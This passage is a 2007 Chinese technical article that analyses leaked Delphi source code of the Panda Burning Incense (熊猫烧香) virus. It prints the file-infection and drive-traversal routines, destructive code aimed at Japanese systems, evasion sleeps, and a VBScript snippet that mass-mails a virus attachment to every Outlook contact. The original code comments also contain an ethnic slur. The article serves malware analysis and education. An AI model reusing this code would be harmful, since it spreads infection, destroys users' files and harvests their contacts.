科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网软件频道应用软件“熊猫烧香”源码启示录

“熊猫烧香”源码启示录

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

本文中,作者对这个基于Delphi语言所编写的“熊猫烧香源码”做了进一步分析,并阐述了自己的几点看法。

作者:朱先忠 来源:IT168 2007年9月14日

关键字:

  • 评论
  • 分享微博
  • 分享邮件

然后,上面代码在判断当前操作系统不是Win9X后,提到“远程线程映射到Explorer进程”一句。其实这里所用正是Jeffrey Richter所著《Windows 95 Windows NT 3.5高级编程技术》(后多次更句)一书第16章“闯过进程的边界”中详细讨论的“使用远程线程来注入一个DLL”技术。如今,只要上网GOOGLE一下“远程线程映射技术”即出现大量实现片断,故在不再赘述。那么,它(包括其它许多病毒)为什么要映射到Explorer进程呢?原来,Explorer(注:Windows资源管理器的名字也是Explorer.exe,但并不是一回事!)进程在Windows系统中举足轻重—Windows在启动过程中都会随同激活一个名为Explorer.exe的进程。它用于管理Windows图形外壳,包括开始菜单、任务栏、桌面和文件管理等,损坏或删除该程序会导致Windows图形界面无法适用。注:这并不是说Windows的运行根本离不开它;但删除掉这个程序后,整个Windows桌面无法再用,而对于普通用户也感觉到好象无法再使用Windows了。

另注:VCL函数Paramstr(n)的作用是返回当前可执行文件指定的命令行参数;当n=0时,返回当前可执行文件名(包含完整的路径)。

因此,上面代码中从第n行到第n+7行的作用是,从已感染的宿主程序中分离出原无染程序代码部分,并启动此无染程序。这是病毒的重要伪装手段之一:不是一下子使宿主中毒瘫痪,而是感染宿主使之达到继续传播目标的同时,启动另一个“原”无毒程序(实际上文件名已经改变,加了一个空格字符)。 

接下来,让我们深入分析上面流程中“InfectFiles(感染文件)”部分的执行过程。

(二)具体感染文件的过程

这个子过程的源码如下所示:

{遍历磁盘上所有的文件并实际感染}

procedure InfectFiles;

var

DriverList: string;

i, Len: Integer;

begin

if GetACP = 932 then //日文操作系统。函数GetACP用于检索系统所用语言

IsJap := True; //去死吧!

DriverList := GetDrives; //得到可写的磁盘列表

Len := Length(DriverList);

while True do //死循环

begin

for i := Len downto 1 do //遍历每个磁盘驱动器

LoopFiles(DriverList + ':', '*.*'); //感染之

SendMail; //发带毒邮件

Sleep(1000 * 60 * 5); //睡眠5分钟—病毒常用简单诈骗术之一

end;

end;{ === InfectFiles }

这里的核心是后面的死循环。先让我们分析较简单的“发带毒邮件”部分。从后面病毒具体遍历可用磁盘并执行具体感染过程可知,此过程中,它会取得安装在本机中的常用邮件客户端程序(Outlook,FoxMail)相应电子邮件信息。其目的是:取得重要邮箱地址及相应密码,然后向这些邮件地址群发带毒的电子邮件,从而达到利用网络传播自身的目的。下面是从网上摘录的一段VBScript脚本:

Set objOA=Wscript.CreateObject("Outlook.Application")

'创建一个OUTLOOK应用的对象

Set objMapi=objOA.GetNameSpace("MAPI")

'取得MAPI名字空间

For i=1 to objMapi.AddressLists.Count

'遍历地址簿

Set objAddList=objMapi.AddressLists(i)

For j=1 To objAddList. AddressEntries.Count

Set objMail=objOA.CreateItem (0)

objMail.Recipients.Add (objAddList. AddressEntries (j))

'取得收件人邮件地址

objMail.Subject="你好!"

'设置邮件主题

objMail.Body="这次给你的附件,是我的新文档!"

'设置信件内容

objMail.Attachments.Add(“c:\virus.vbs")

'把自己作为附件扩散出去

objMail.Send

'发送邮件

Next

Next

Set objMapi=Nothing

Set objOA=Nothing

注意,这段代码是非常基本的使用VBScript脚本操作Outlook COM对象,并进而达到通过编程方式操作Outlook发送特定邮件的编程技术。其中,最关键的一句在于:   objMail.Attachments.Add(“c:\virus.vbs")

在此,任何一名病毒制作者都可以把这个附件文件名修改为新病毒文件自身!

(三)LoopFiles子过程分析

这个子程序的功能是:遍历本地磁盘,并详细实施感染及破坏过程。在此列出其关键代码片断:

{ 遍历目录,感染和摧毁文件 }

procedure LoopFiles(Path, Mask: string);

var

//……局部变量定义

Msg: TMsg;

// IsValidDir判断指定对象是否是“目录”……

function IsValidDir(SearchRec: TSearchRec): Integer;

begin

if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then

begin

repeat

PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑

if IsValidDir(SearchRec) = 0 then

begin

Fn := Path + SearchRec.Name;

Ext := UpperCase(ExtractFileExt(Fn));

if (Ext = '.EXE') or (Ext = '.SCR') then //Line X

begin

InfectOneFile(Fn); //感染可执行文件

end

else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then

begin

//感染HTML和ASP文件,将Base64编码后的病毒写入

//感染浏览此网页的所有用户

//哪位大兄弟愿意完成之?

end

else if Ext = '.WAB' then //Outlook地址簿文件

begin

//获取Outlook邮件地址

end

else if Ext = '.ADC' then //Foxmail地址自动完成文件

begin

//获取Foxmail邮件地址

end

else if Ext = 'IND' then //Foxmail地址簿文件

begin

//获取Foxmail邮件地址

end

else

begin

if IsJap then //是倭文操作系统

begin

if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or

……then

SmashFile(Fn); //摧毁文件

end;

end;

end;

//感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑

Sleep(200);

until (FindNext(SearchRec) <> 0);

end;

FindClose(SearchRec);

SubDir := TStringList.Create;

if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then

begin

repeat

if IsValidDir(SearchRec) = 1 then

SubDir.Add(SearchRec.Name);

until (FindNext(SearchRec) <> 0);

end;

FindClose(SearchRec);

Count := SubDir.Count - 1;

for i := 0 to Count do

LoopFiles(Path + SubDir.Strings + '', Mask);

FreeAndNil(SubDir);

end;

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章